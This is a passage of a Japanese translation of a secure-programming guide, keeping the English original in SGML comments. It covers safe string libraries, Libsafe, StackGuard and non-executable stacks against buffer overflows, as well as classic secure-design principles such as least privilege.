差し当たり、大きさが 0 もしくは処理先に NIL 文字が無い場合を避けるように
お薦めします。
glib の将来のバージョンでは、この相違点が隠されて、常に OpenBSD の文法を
用いる予定です。
</para>

</sect2>

<sect2 id="libmib">
<title>libmib</title>

<para>
<!--
One toolset for C that dynamically reallocates strings automatically
is the ``libmib allocated string functions'' by
Forrest J. Cavalier III, available at
<ulink
url="http://www.mibsoftware.com/libmib/astring">http://www.mibsoftware.com/libmib/astring</ulink>.
There are two variations of libmib; ``libmib-open'' appears to be clearly
open source under its own X11-like license that
permits modification and redistribution, but redistributions must choose
a different name, however, the developer states that it
``may not be fully tested.''
To continuously get libmib-mature, you must pay for a subscription.
The documentation is not open source, but it is freely available.
-->
C 用のツールセットには、自動的に文字列を動的確保してくれるものがあります。
それは Forrest J. Cavalier III 氏の「libmib allocated string functions」
で、<ulink
url="http://www.mibsoftware.com/libmib/astring">http://www.mibsoftware.com/libmib/astring</ulink> 
から入手できます。libmib は 2 種類あり、「libmib-open」は X11 と似た独自の
ライセンスにしたがっていますので、明らかにオープンソースです。
このライセンスは、修正や再配布を認めていますが、再配布には別の名前を選択
しなければいけませんし、「完全にテストされていない」と開発者は記載しています。
libmib-mature を引き続き手に入れるなら、申し込みに費用がかかります。
ドキュメントはオープンソースではありませんが、自由に利用できます。
</para>

</sect2>

<sect2 id="std-string">
<!-- <title>C++ std::string class</title> -->
<title>C++ std::string クラス</title>

<para>
<!--
C++ developers can use the std::string class, which is built into the
language.
This is a dynamic approach, as the storage grows as necessary.
However, it's important to note that if that class's data is turned
into a ``char *'' (e.g., by using data() or c_str()),
the possibilities of buffer overflow resurface, so you need to be careful
when when using such methods.
Note that c_str() always returns a NIL-terminated string, but
data() may or may not (it's implementation dependent, and most
implementations do not include the NIL terminator).
Avoid using data(), and if you must use it, don't be dependent on its format.
-->
C++ で開発する人たちは、言語に組み込まれている std::string クラスを利用でき
ます。
このクラスは動的な方法を採用していて、必要に応じて記憶領域を増やしていきます。
しかし注意しないといけないのは、クラスのデータが「char *」に置き換わると
(たとえば data() もしくは c_str()を使って)、再びバッファオーバーフローの問題が
表面化する点です。したがって、メソッドを使用する場合には注意が必要になります。
c_str()は常に NIL で終端した文字列を返しますが、data()の場合はどうなるか
わかりません(実装次第ですが、ほとんどは NIL で終端しません)。
data()の使用を避けるか、どうしても使わなければならないなら、そのフォーマット
を当てにしないでください。
</para>

<para>
<!--
Many C++ developers use other string libraries as well, such as
those that come with other large libraries or even home-grown string libraries.
With those libraries, be especially careful - many
alternative C++ string classes
include routines to automatically convert the class to a ``char *'' type.
As a result, they can silently introduce buffer overflow vulnerabilities.
-->
他の文字列ライブラリを使っている開発者も同様にたくさんいますが、そのような
ライブラリは、他の多数のライブラリや自作の文字列ライブラリと組み合わせに
なっています。
そのようなライブラリを使う場合には、とりわけ注意を払ってください。他の文字列
クラスの多くは、自動的にクラスを「char *」タイプに変換してしまうルーチンが
入っています。
その結果、知らないうちにバッファオーバーフローの脆弱さにはまっている可能性
があります。
</para>

</sect2>

<sect2 id="libsafe">
<title>Libsafe</title>

<para>
<!--
Arash Baratloo, Timothy Tsai, and Navjot Singh
(of Lucent Technologies)
have developed Libsafe, a wrapper of several library functions known to be
vulnerable to stack smashing attacks.
This wrapper (which they call a kind of ``middleware'')
is a simple dynamically loaded library that contains modified versions
of C library functions such as strcpy(3).
These modified versions
implement the original functionality, but in a manner that ensures
that any buffer overflows are contained within the current stack frame.
Their initial performance analysis suggests that this
library's overhead is very small.
Libsafe papers and source code are available at
<ulink url="http://www.bell-labs.com/org/11356/libsafe.html">http://www.bell-labs.com/org/11356/libsafe.html</ulink>.
The Libsafe source code is available under the completely
open source LGPL license,
and there are indications that many Linux distributors are interested
in using it.
-->
(Lucent Technologies の)Arash Baratloo 氏や Timothy Tsai氏、Navjot Singh 氏
が、Libsafe を開発しました。このライブラリは、スタック破壊攻撃に弱いことで
知られるているライブラリ関数のいくつかにラッパを被せます。
このラッパ(開発者は、「ミドルウェア」の一種と呼んでいます)は、動的にロード
される単なるライブラリで、strcpy(3)のような C のライブラリ関数を修正した
バージョンが入っています。
この修正済みのバージョンは、オリジナルの機能を実装してありますが、ある意味で
どんなバッファオーバーフローも現在のスタック・フレームの中に封じ込めます。
当初の性能分析では、ライブラリのオーバヘッドはとても小さいとしています。
Libsafe のドキュメントとソースコードは <ulink 
url="http://www.bell-labs.com/org/11356/libsafe.html">http://www.bell-labs.com/org/11356/libsafe.html</ulink> 
から取得できます。
Libsafe のソースコードはオープンソースの LGPL ライセンスに完全に準拠して
いて、Linux ディストリビュータは利用に関心を持ちつつあります。
</para>

<para>
<!--
Libsafe's approach appears somewhat useful.
Libsafe should certainly be considered for inclusion by Linux
distributors, and its approach is worth considering by others as well.
For example, I know that the Mandrake distribution of Linux (version
7.1) includes it.
-->
Libsafe の解決手段は多少は役に立つように思えます。
確かに Linux ディストリビュータは Libsafe の採用を検討した方が良く、その解決
方法はその他の人たちも同様に検討するに価します。
たとえば、Linux ディストリビューショの Mandrake(バージョン 7.1) は採用して
います。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- http://www.sopac.org/linux/RPM/mandrake/7.1/Mandrake/RPMS2/Linux-Mandrake.html -->
<!--
However, as a software developer, Libsafe is a useful mechanism
to support defense-in-depth but it does not really prevent buffer
overflows.
Here are several reasons why you shouldn't depend just on Libsafe
during code development:
-->
ソフトウェア開発者にとっては Libsafe は手の込んだ防御をするのに便利な仕組み
ですが、本当にバッファオーバーフローを防げるわけではありません。
コードを開発している時に、Libsafe だけに頼るべきではない理由がいくつかあります。
<itemizedlist>

<listitem><para>
<!--
Libsafe only protects a small set of known functions with obvious
buffer overflow issues.
At the time of this writing, this list is significantly shorter than
the list of functions in this book known to have this problem.
It also won't protect against code you write yourself (e.g., in
a while loop) that causes buffer overflows.
-->
Libsafe は、明らかにバッファオーバーフローの問題を持っている、既知のわずかな
関数だけを防御します。
これを書いている時点では、防御できる関数のリストは、このドキュメントで
問題を抱えているとした関数のリストよりかなり短くなっています。
また、あなた自身が書いた(たとえば while ループ中)バッファオーバーフローを
起こすコードは防御してくれません。
</para></listitem>

<listitem><para>
<!--
Even if libsafe is installed in a distribution, the way it is installed
impacts its use.
The documentation recommends setting LD_PRELOAD 
to cause libsafe's protections to be enabled, but the problem
is that users can unset this environment variable... causing the
protection to be disabled for programs they execute!
-->
libsafe がディストリビューションに入っていたとしても、インストールした方法
によって利用に差が出ます。
ドキュメントでは LD_PRELOAD を設定して libsafe の防御を有効にするように
推奨していますが、問題はユーザがその環境変数の設定をはずせるところにあり
ます。これでユーザが実行するプログラムに対する防御は無効になってしまい
ます。
</para></listitem>

<listitem><para>
<!--
Libsafe only protects against buffer overflows of the stack onto the
return address;
you can still overrun the heap or other variables in that procedure's frame.
-->
Libsafe は、リターンアドレスがスタック上にあるバッファオーバーフローに対して
だけ効果があります。
ヒープやプロシジャー・フレームにあるその他の変数では、あいかわらずオーバー
してしまいます。
【訳註：プロシジャー・フレームとは、登録済みレジスタとローカル変数が入って
いるスタック・セグメントです。activation record ともいいます】
</para></listitem>

<listitem><para>
<!--
Unless you can be assured that all deployed platforms will use libsafe
(or something like it), you'll have to protect your program as though
it wasn't there.
-->
あちこちにあるコンピュータ・システムすべてで libsafe(もしくは似たもの)が
利用できると断言できない限り、自分のプログラムは libsafe が無いつもりで
防御しなければいけません。
</para></listitem>


<listitem><para>
<!--
LibSafe seems to assume that saved frame pointers are at the beginning of
each stack frame.  This isn't always true. 
Compilers (such as gcc) can optimize away things, and in particular the
option "-fomit-frame-pointer" removes the information that libsafe
seems to need.
Thus, libsafe may fail to work for some programs.
-->
LibSafe は登録済みのフレーム・ポインタがスタック・フレームそれぞれの先頭
にあることを仮定しているように見えます。これは常に真とは言えません。
コンパイラ(gcc のような)は最適化をかけてしまいます。特に「-fomit-frame-pointer」
というオプションは libsafe に必要と思われる情報を削除してしまいます。
つまり、libsafe がうまく動かないプログラムがあるかもしれないのです。

<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- More info at:
  http://msgs.securepoint.com/cgi-bin/get/bugtraq0004/109/1.html
  http://www2.merton.ox.ac.uk/~security/security-audit-200004/0069.html -->
</para></listitem>
</itemizedlist>
</para>


<para>
<!--
The libsafe developers themselves acknowledge that software developers
shouldn't just depend on libsafe.
In their words:
-->
libsafe の開発者たち自身も、ソフトウェア開発者たちが libsafe だけに頼って
いてはいけないことを知っています。
彼らによれば、
<blockquote><para>
<!--
It is generally accepted that the best solution to
buffer overflow attacks is to fix the defective programs.
However, fixing defective programs requires knowing that
a particular program is defective.
The true benefit of using libsafe and other alternative
security measures is protection against future attacks
on programs that are not yet known to be vulnerable. 
-->
バッファオーバーフロー攻撃に対する最適策は、プログラムの欠陥の修正であること
は周知の事実です。
しかし、欠陥を持ったプログラムを修正するには、プログラムに欠陥があること
を知る必要があります。
libsafe やその他のセキュリティ対策を使用する本当のメリットは、まだ脆弱さ
を知られていないプログラムが、今後の攻撃に備えるという点にあります。
</para></blockquote>
</para>
</sect2>

<sect2 id="other-buffer-libraries">
<!-- <title>Other Libraries</title> -->
<title>その他のライブラリ</title>

<para>
<!--
The glib (not glibc) library is a widely-available
open source library that provides
a number of useful functions for C programmers.
GTK+ and GNOME both use glib, for example.
As I noted earlier, in glib version 1.3.2, g_strlcpy() and g_strlcat() have
been added through a patch which I submitted. This should make it easier to
portably use those functions once these later versions of glib
become widely available.
At this time I do not have an analysis showing definitively that the
glib library functions protect against buffer overflows.
However, many of the glib functions automatically allocate memory,
and those functions automatically
<emphasis>fail with no reasonable way to intercept the failure</emphasis>
(e.g., to try something else instead).
As a result, in many cases most glib functions cannot
be used in most secure programs.
The GNOME guidelines recommend using functions such as
g_strdup_printf(), which is fine as long as it's okay if your program
immediately crashes if an out-of-memory condition occurs.
However, if you can't accept this, then using such routines isn't appropriate.
-->
glib(glibc ではなく)ライブラリは広く利用できるオープンソースのライブラリで
C プログラマに対してたくさんの便利な関数を提供しています。
たとえば、GTK+ や GNOME は両者とも glib を使っています。
以前にも指摘しましたが、glib バージョン 1.3.2 には私が提供したパッチが 
g_strlcpy() と g_strlcat()に適用してあります。今後のバージョンが広く利用
されれば、移植性の高いこれらの関数の利用がもっと簡単になるはずです。
現状では、glib ライブラリの関数がバッファオーバーフローを防ぐか否かの分析を
私は結論づけられません。
しかし、glib 関数の多くは自動的にメモリを確保し、<emphasis>失敗を横取り
して、訳もわからずに動かなくなります</emphasis>(たとえば、かわりに別のことを
しようとするために)。
結果的に、glib 関数の大部分は、安全が求められるプログラムでは利用できない
場合が多くあります。
GNOME のガイドラインでは g_strdup_printf()のような関数の使用を推奨して
います。プログラムがメモリ例外を起こした場合、すぐにクラッシュしてもかまわない
なら、使用してもかまいません。
しかしそれが受け入れ難いなら、そのようなルーチンを使用するのは、適切ではあり
ません。
</para>

<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- 
??? Need to investigate if standard demands safety.
C++ has a set of string classes and templates as well
(see basic&lowbar;string and string)
-->

</sect2>

</sect1>

<sect1 id="compilation-c">
<!-- <title>Compilation Solutions in C/C++</title> -->
<title>C や C++ でのコンパイルによる解決</title>

<para>
<!--
A completely different approach is to use compilation methods that perform
bounds-checking (see [Sitaker 1999] for a list).
In my opinion, such tools are very useful in having multiple layers of
defense, but it's not wise to use this technique as your sole defense.
There are at least two reasons for this.
First of all, most such tools only provide partial defense against
buffer overflows (and the ``complete'' defenses are generally
12-30 times slower); C and C++ were simply not designed to protect
against buffer overflows.
Second of all, for open source programs you cannot be certain what tools
will be used to compile the program; using the default ``normal'' compiler
for a given system might suddenly open security flaws.
-->
まったく違った観点から解決をはかろうとするものに、領域の境界チェックを
コンパイル時に行うものがあります([Sitaker 1999] のリストを参照して
ください)。
私見ですが、いろいろな防御手段の 1 つとして使用するなら、そのようなツールは
非常に有効です。しかし、この手法だけで防御するのは賢い手段とはいえません。
理由として少なくとも 2 つは挙げられます。
まず、そのようなツールはバッファオーバーフローに対して必要な防御の一部しか
行えません(そして「完璧な」防御を行おうとすると、通常の 12 から 30 倍遅く
なります)。C と C++ はそもそもバッファオーバーフローを防ぐ手段を持ち合わせて
いません。
次に、オープンソースであるプログラムはどんなツールを使ってコンパイルするか
が決められているわけではない点です。システムについてくるデフォルトの「普通の」
コンパイラを使うと、セキュリティの弱点をさらすかもしれません。
</para>

<para>
<!--
One of the more useful tools is ``StackGuard'', a modification of the
standard GNU C compiler gcc.
StackGuard works by inserting a ``guard'' value (called a ``canary'')
in front of the return address; if a buffer overflow
overwrites the return address, the canary's value (hopefully) changes
and the system detects this before using it.
This is quite valuable, but note that this does not protect against
buffer overflows overwriting other values (which they may still be able
to use to attack a system).
There is work to extend StackGuard to be able to add canaries to other
data items, called ``PointGuard''.
PointGuard will automatically protect certain values (e.g., function
pointers and longjump buffers).
However, protecting other variable types using PointGuard
requires specific programmer intervention (the programmer
has to identify which data values must be protected with canaries).
This can be valuable, but it's easy to accidentally omit
protection for a data value you didn't think needed protection -
but needs it anyway.
More information on StackGuard, PointGuard, and other alternatives
is in Cowan [1999].
-->
さらに有効なツールの 1 つに「StackGuard」があります。これは、標準的な GNU 
C コンパイラの修正版です。
StackGuard は「ガード」するための値(「カナリア(canary)」と呼びます)を
リターンアドレスが書かれている前に挿入して動作します。バッファオーバーフロー
が発生してリターンアドレスを書き換えると、カナリアの値が(おそらく)変更され、
実際に使用される前にシステムが検出します。
これは非常に有効なのですが、リターンアドレス以外の値(これを利用してもシス
テムを攻撃できます)を書き換えるバッファオーバーフローには対処できません。
StackGuard を強化して、カナリアを他のデータに対しても使えるようにしたものが、
「PointGuard」です。
PointGuard は自動的にある値(たとえば関数のポインタやロングジャンプ・バッファ)
を保護します。
しかし他の変数を PointGuard を使って保護する場合、プログラマの介在が必要と
なります(プログラマはどのデータをカナリアで保護しなければいけないのかを
判断しなければいけません)。
これは有効な半面、本来保護すべきなのに必要がない、とうっかり判断してしまい、
いとも簡単に保護を省いてしまう場合が考えられます。
StackGuard や PointGuard、またそれと同様なものについての詳細は Cowan [1999] 
を参照してください。
【訳註：鳥類のカナリアは、炭鉱で一酸化炭素の増加や酸欠状態を「検知」する
ために飼われていました】
</para>

<para>
<!--
As a related issue, in Linux you could modify the Linux kernel so that
the stack segment is not executable; such a patch to Linux does exist
(see Solar Designer's patch, which includes this, at
<ulink
url="http://www.openwall.com/linux/">http://www.openwall.com/linux/</ulink>
However, as of this writing this is not built into the Linux kernel.
Part of the rationale is that this is less protection than it seems;
attackers can simply force the system to call other ``interesting'' locations
already in the program (e.g., in its library, the heap,
or static data segments).
Also, sometimes Linux does require executable code in the stack,
e.g., to implement signals and to implement GCC ``trampolines''.
Solar Designer's patch does handle these cases, but this does
complicate the patch.
Personally, I'd like to see this merged into the main Linux
distribution, since it does make attacks somewhat more difficult and
it defends against a range of existing attacks.
However, I agree with Linus Torvalds and others
that this does not add the amount of protection it would appear to and
can be circumvented with relative ease.
You can read Linus Torvalds' explanation for not including this support at
<ulink
url="http://lwn.net/980806/a/linus-noexec.html">http://lwn.net/980806/a/linus-noexec.html</ulink>.
-->
これと関連して、Linux のカーネルを修正し、スタック・セグメント上でのプロ
グラムの実行を禁止してしまう方法もあります。それを行うにはパッチが必要です
(Solar Designer 氏のパッチに含まれています。
<ulink
url="http://www.openwall.com/linux/">http://www.openwall.com/linux/</ulink>
を見てください)。
このドキュメントを書いている時点では、まだカーネルに取り込まれていません。
技術的な理由の 1 つに、思ったほどその効果がでない点があげられます。
攻撃者は、対象にしているプログラムに既に存在している他の「面白そうな」場所
(ライブラリやヒープ領域、スタティックなデータ・セグメント領域等)を呼び出せ
てしまうからです。
また Linux はスタック領域でプログラムを実行する場合があります。例として、
シグナルや GCC の「トランポリン」の実装をする場合です。
Solar Designer 氏のパッチでこのようなケースにも対応できますが、これがパッチを
複雑なものしている原因です。
個人的には Linux 本流に組み込まれてもよいかと思います。というのもこれによって
いくぶんかでも攻撃が難しくなりますし、既存の攻撃のある部分は防御できるから
です。
しかし Linus Torvalds 氏たちが考えているように、このパッチが見た目ほどさま
ざまな防御ができない、比較的簡単にこの防御の裏をかくことができる、という点
については私も同意見です。
Linus Torvalds 氏がこのパッチを採用しない理由については、
<ulink
url="http://lwn.net/980806/a/linus-noexec.html">http://lwn.net/980806/a/linus-noexec.html</ulink> 
を見てください。
【訳註：トランポリン(trampoline)とは、プログラムが実行している最中に
	プログラム自身によって生成される、互いに独立した小さなオブジェクト・
	コードを指します】
</para>

<para>
<!--
In short, it's better to work first on developing a correct program
that defends itself against buffer overflows.
Then, after you've done this, by all means use techniques and tools
like StackGuard as an additional safety net.
If you've worked hard to eliminate buffer overflows in the code itself,
then StackGuard is likely to be more effective because there will be
fewer ``chinks in the armor'' that StackGuard will be called on to protect.
-->
要するに、まずプログラムそのものでバッファオーバーフローを防ぐように開発
するのが大切です。
そのように開発した後に、StackGuard のようなツールやテクニックを使って、
さらに安全策を講じておくべきです。
ソースコードからバッファオーバーフローを追い出せるだけ追い出したら、
StackGuard はさらに効果を発揮します。というのも StackGuard が防御のために
呼ばれるような「致命的な弱点」を減らすことができるからです。
</para>

</sect1>

<sect1 id="other-languages">
<!-- <title>Other Languages</title> -->
<title>その他の言語</title>

<para>
<!--
The problem of buffer overflows is an excellent argument for using
other programming languages
such as Perl, Python, Java, and Ada95.
After all, nearly all other programming languages used today
(other than assembly language) protect against buffer overflows.
Using those other languages does not eliminate all problems, of course;
in particular see the discussion in <xref linkend="handle-metacharacters">
regarding the NIL character.
There is also the problem of ensuring that those other languages'
infrastructure (e.g., run-time library) is available and secured.
Still, you should certainly consider using other programming languages
when developing secure programs to protect against buffer overflows.
-->
バッファオーバーフローは、Perl や Python、Java、Ada95 のような他の
プログラミング言語でもかなり問題になります。
つまるところ、今日使っている他のプログラミング言語(アセンブリ言語は除く)の
ほとんどすべては、バッファオーバーフローを防御しています。
C や C++ 以外の言語を使ったとしても、もちろんすべての問題を解決できるわけ
ではありません。
詳しくは、後程論じる<xref linkend="handle-metacharacters"> にある NIL 
文字の扱いを参照してください。
また言語が提供している基本的な機能(たとえばランタイム・ライブラリ)が利用で
きる環境で、かつその機能が安全であることを保証するという問題も残っています。
そのような問題はあるにせよ、安全性が求められるプログラム開発を行う場合は、
他の言語の使用を真剣に考えて、バッファオーバーフローを防いでください。
</para>

</sect1>

</chapter>

<chapter id="internals">
<!-- <title>Structure Program Internals and Approach</title> -->
<title>プログラムのインタフェースと内部構成をきちんとすること</title>

<epigraph>
<!-- <attribution>Proverbs 25:28 (NIV)</attribution> -->
<attribution>旧約聖書 箴言 25 章 28 節
</attribution>
<para>
<!--
Like a city whose walls are broken down is a man who lacks self-control. 
-->
侵略されて城壁の滅びた町。
自分の霊を制しえない人。
</para>
</epigraph>

<sect1 id="follow-good-principles">
<!--
<title>Follow Good Software Engineering Principles for Secure Programs</title>
-->
<title>安全なプログラムを作るためには、ソフトウェア・エンジニアリングの原則に
従うこと</title>

<para>
<!--
Saltzer [1974] and later Saltzer and Schroeder [1975]
list the following principles of the design of secure
protection systems, which are still valid:
-->
Saltzer [1974] と Saltzer and Schroeder [1975]では、設計に当たって安全を
保護するのに、下記のような原則をまとめています。これは今なお有益です。
<itemizedlist>
<listitem>

<para>
<!--
<emphasis remap="it">Least privilege</emphasis>.
Each user and program should operate using the fewest privileges possible.
This principle limits the damage from an accident, error, or attack.
It also reduces the number of potential interactions among privileged programs,
so unintentional,
unwanted, or improper uses of privilege are less likely to occur. 
This idea can be extended to the internals of a program: only the smallest
portion of the program which needs those privileges should have them.
See <xref linkend="minimize-privileges"> for more about how to do this.
-->
<emphasis remap="it">特権をできるだけ持たせない</emphasis>。
ユーザやプログラムにはできるだけ権限を持たせないようにしてください。
そうすれば、アクシデントやエラー、攻撃者によるダメージが最小限に抑えられ
ます。
また、こうすることで特権をもったプログラム間相互の影響を可能な限り抑えら
れるので、意図しない不要で不適切な特権を利用しなくなります。
このアイディアはプログラム内にも採用できます。プログラムの最小限の部分に
だけ必要となる特権を持たせてください。
やり方の詳細は、<xref linkend="minimize-privileges"> を見てください。
</para>
</listitem>
<listitem>

<para>
<!--
<emphasis remap="it">Economy of mechanism/Simplicity</emphasis>.
The protection system's design should be simple and
small as possible.
In their words,
``techniques such as line-by-line inspection of software and physical
examination of hardware that implements protection mechanisms are necessary.
For such techniques to be successful, a small and simple design is essential.''
This is sometimes described as the ``KISS'' principle
(``keep it simple, stupid'').
-->
<emphasis remap="it">仕組みを単純に</emphasis>。
防御システムは小さく単純明快に設計します。
彼らによれば、
「ソフトウェアを一行毎に調査したり、ハードウェアを調査して、防御機構の実装を
するテクニックが必要になったりします。
テクニックがうまくいくには、小さくかつ単純明快な設計が基本になります」
これを「KISS」の原則(「keep it simple, stupid」(こら、短くしとけ))と表現
する場合があります。
</para>
</listitem>


<listitem>
<para>
<!--
<emphasis remap="it">Open design</emphasis>.
The protection mechanism must not depend on attacker ignorance.
Instead, the mechanism should be public, depending on the secrecy of
relatively few (and easily changeable) items like passwords or private keys.
An open design makes extensive public scrutiny possible, and it also
makes it possible for users to convince themselves that the system about
to be used is adequate.
Frankly, it isn't realistic to try to maintain secrecy for a system that
is widely distributed;
decompilers and subverted hardware can quickly expose any ``secrets''
in an implementation.
Bruce Schneier argues that smart engineers should ``demand
open source code for anything related to security'',
as well as ensuring that it receives widespread review and that
any identified problems are fixed [Schneier 1999].
-->
<emphasis remap="it">オープンな設計</emphasis>。
防御する仕組みは、攻撃者がその仕組みの知識を持ってないことに頼っては
いけません。
そのかわり、公開された仕組みで、パスワードや秘密鍵のように比較的少ない項目
(そして簡単に変えられる)で秘密を守れるようにしてください。
オープンな設計は、広範囲な公開された精査が可能で、そうすることでユーザが
そのシステムの利用が適切なのどうかを納得できます。
率直に言って、広く配布したシステムを密かにメンテナンスしようとするのは、
現実的ではありません。
デコンパイラ(逆コンパイラ)やハードウェアを壊してしまうことで、あっと言う間
にあらゆる「秘密」がばれてしまう可能性があります。
Bruce Schneier 氏は、頭の切れるエンジニアならば、「セキュリティに関する
すべてのコードは、オープンソースであった方が良いと主張する」としています。
またそうすると、広く第三者からレビューを受けられ、そこで問題となった部分も
修正されることを証明しています[Schneier 1999]。
</para>
</listitem>

<listitem>
<para>
<!--
<emphasis remap="it">Complete mediation</emphasis>.
Every access attempt must be checked; position the mechanism
so it cannot be subverted.
For example, in a client-server model, generally the server must do all
access checking because users can build or modify their own clients.
This is the point of all of
<xref linkend="input">, as well as
<xref linkend="secure-interface">.
-->
<emphasis remap="it">完全に仲介を行うこと</emphasis>.
すべてのアクセスをチェックしなければいけません。チェックする仕組みは、壊され
ない場所に置いてください。
たとえば、クライアント・サーバモデルであれば、サーバ側ですべてのアクセス
をチェックする必要があります。それはユーザがクライアント側を新しく作成したり、
既存のものを修正したりできるからです。
これは、<xref linkend="input"> や <xref linkend="secure-interface"> にも
該当します。
</para>
</listitem>
<listitem>

<para>
<!--
<emphasis remap="it">Fail-safe defaults (e.g., permission-based approach)</emphasis>.
The default should be denial of service, and the
protection scheme should then identify conditions under which
access is permitted.
See <xref linkend="safe-configure"> and <xref linkend="fail-safe">
for more.
-->
<emphasis remap="it">フェイル・セーフをデフォルトとする(たとえば、
パーミッションを活用する方法)</emphasis>。
デフォルトではサービスを拒否してください。防御機構はどのアクセスを許可
しているのか、状況を認識していなければいけません。
詳しくは、<xref linkend="safe-configure"> と <xref linkend="fail-safe"> 
を見てください。
</para>
</listitem>
<listitem>

<para>
<!--
<emphasis remap="it">Separation of privilege</emphasis>.
Ideally, access to objects should depend on more than one condition, so
that defeating one protection system won't enable complete access.
-->
<emphasis remap="it">権限を集中させない</emphasis>。
対象へのアクセスに当たって、複数の条件をつけるのが理想的です。
そうすれば、もしある防御システムが破られても、無制限なアクセスを許すよう
にはならないからです。
</para>
</listitem>
<listitem>

<para>
<!--
<emphasis remap="it">Least common mechanism</emphasis>.
Minimize the amount and
use of shared mechanisms (e.g. use of the /tmp or /var/tmp directories).
Shared objects provide potentially dangerous channels for information
flow and unintended interactions.
See <xref linkend="avoid-race"> for more information.
-->
<emphasis remap="it">共通した仕組みはできるだけ用いない</emphasis>.
共通する仕組みの数とその利用度合を最小限にしてください(たとえば、/tmp や
/var/tmp の利用)。
仕組みを共通化すると、そこが情報の流れの中で危険な経路になってしまったり、
予期しない相互作用が発生したりする恐れがあります。詳しくは、
<xref linkend="avoid-race"> を見てください。
</para>
</listitem>
<listitem>

<para>
<!--
<emphasis remap="it">Psychological acceptability / Easy to use</emphasis>.
The human interface must be designed for ease of use so users will routinely
and automatically use the protection mechanisms correctly.
Mistakes will be reduced if
the security mechanisms closely match the user's mental image of
his or her protection goals.
-->
<emphasis remap="it">気持ちで受け入れられるか、簡単に使えるか</emphasis>。
ヒューマン・インタフェースは、ユーザが日常何気なく正しい防御の仕組みを使え
るように、使いやすく設計しなければいけません。
セキュリティの仕組みがユーザが思い描く防御の目標とマッチしたなら、過ちは
減るでしょう。
</para>
</listitem>

</itemizedlist>

</para>

<para>
<!--
A good over of various desing principles for security is available in
<ulink url="http://www.csl.sri.com/neumann/chats2.html">
Peter Neumann's CHATS Principles</ulink>
-->
セキュリティについての設計上の原則をいろいろと網羅している資料が
<ulink url="http://www.csl.sri.com/neumann/chats2.html">
Peter Neumann's CHATS Principles</ulink> にあります。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!--
???: Add:
http://www.csl.sri.com/neumann/chats2.pdf
http://www.csl.sri.com/neumann/chats2.ps
-->

</para>
</sect1>

<sect1 id="secure-interface">
<!-- <title>Secure the Interface</title> -->
<title>インタフェースを安全に</title>

<para>
<!--
Interfaces should be minimal (simple as possible), narrow
(provide only the functions needed), and non-bypassable.
Trust should be minimized.
Consider limiting the data that the user can see.
-->
インタフェースは、できる限り小さく(限りなくシンプルに)かつ厳密に(必要な機能
だけ)、そして例外なくそのインタフェースを使うようにする必要があります。
信用できる入力はほとんどないと思ってください。
ユーザが見られるデータに制限をかけることを検討してください。
</para>
</sect1>

<sect1 id="data-vs-control">
<!-- <title>Separate Data and Control</title> -->
<title>データと制御を切り離す</title>
<para>
<!--
Any files you support should be designed to completely separate
(passive) data from programs that are executed.
Applications and data viewers may be used to
display files developed externally, so in general don't allow them
to accept programs (also known as ``scripts'' or ``macros'').
The most dangerous kind is an auto-executing macro that executes
when the application is loaded and/or when the data is initially
displayed; from a security point-of-view this is generally
a disaster waiting to happen.
-->
サポートするどんなファイルに対しても、(外から来る)データとそれを実行する
プログラムを完全に分けて設計してください。
アプリケーションやデータを見るビューアーは、外部で作成したファイルを表示する
場合によく使われるので、それらがファイルをプログラム(「スクリプト」とか
「マクロ」と言われています)として受け付けないようにしてください。
最も危険なのは、自動実行マクロです。これは、アプリケーションがロードしたり、
データを最初に表示したりした時に動作してしまいます。セキュリティの観点から
すると、これは災難が起こるのを待っているようなものです。
</para>

<para>
<!--
If you truly must support programs downloaded remotely
(e.g., to implement an existing standard), make sure that you
you have extremely strong control over what the macro can do
(this is often called a ``sandbox'').
Past experience has shown that real sandboxes are hard to implement correctly.
In fact, I can't remember a single widely-used sandbox that hasn't been
repeatedly exploited (yes, that includes Java).
If possible, at least have the programs stored in a separate file, so that
it's easier to block them out when another sandbox flaw has been found
but not yet fixed.
Storing them separately also makes it easier to reuse code and to cache
it when helpful.
-->
離れたところからダウンロードする機能をプログラムできちんとサポートしなければ
いけないなら(たとえば、既存のシステムに実装するため)、マクロの動作に必ずきつい
制限をかけなければいけません(これを「サンドボックス」と呼んでいます)。
経験上、サンドボックスを本当に正しく実装するのは困難です。
実際、単独で広範に利用されたサンドボックスの中で、再三に渡って破られなかった
ものは記憶にありません(もちろん、Java も含めて)。
可能なら、少なくともプログラムを独立したファイルに収めてください。そうすれば、
他のサンドボックスに欠点が見つかりそれが修正されなくても、簡単にブロック
できるからです。
また独立にしておくことで、コードの再利用が容易になり、役立つ時に身近で利用
できます。
</para>
</sect1>

<sect1 id="minimize-privileges">
<!-- <title>Minimize Privileges</title> -->
<title>特権を最小限に</title>

<para>
<!--
As noted earlier, it is an important general
principle that programs have the minimal amount of privileges
necessary to do its job (this is termed ``least privilege'').
That way, if the program is broken, its damage is limited.
The most extreme example is to simply not write a secure program at all -
if this can be done, it usually should be.
For example, don't make your program setuid or setgid if you can; just
make it an ordinary program, and require the administrator to log in as such
before running it.
-->
以前にも書いたように、一般的な原則は、プログラムには処理に必要となる特権を
最低限にしか与えないことです(特権をできるだけ持たせない)。
そうすればそのプログラムが壊れても、ダメージは広がりません。
最も極端な例は、単に安全が必要となるプログラムをまったく書かないことです。
そうできれば、そうすべきです。
たとえば、可能ならプログラムに setuid や setgid をかけないでください。
ただの一般プログラムにして、管理者には動かす前にログをとるように依頼してくだ
さい。
</para>

<para>
<!--
In Linux and Unix, the primary determiner of a process' privileges
is the set of id's associated with it:
each process has a real, effective and saved id for both the user and group
(a few very old Unixes don't have a ``saved'' id).
Linux also has, as a special extension, a separate filesystem UID and GID
for each process.
Manipulating these values is critical to keeping privileges minimized,
and there are several ways to minimize them (discussed below).
You can also use chroot(2) to minimize the files visible to a program.
There are a few other values determining privilege in Linux and Unix, for
example, POSIX capabilities (supported by Linux 2.2 and greater, and by
some other Unix-like systems).
-->
Linux や Unix において、まずプロセスの特権を決定するのは、そのプロセス id 
の組み合わせです。
プロセスそれぞれには、ユーザやグループ両者の実、実効、保存 id があります。
(古い Unix には「保存」id がないものもあります)。
Linux には特別な拡張機能として、ファイルシステムとは独立した uid と gid 
が、プロセスそれぞれに用意してあります。
これらの値を操作するのは、特権を最小限に抑える上で欠くことができませんし、
それらを最小限に抑える方法もいくつかあります(下記で論じます)。
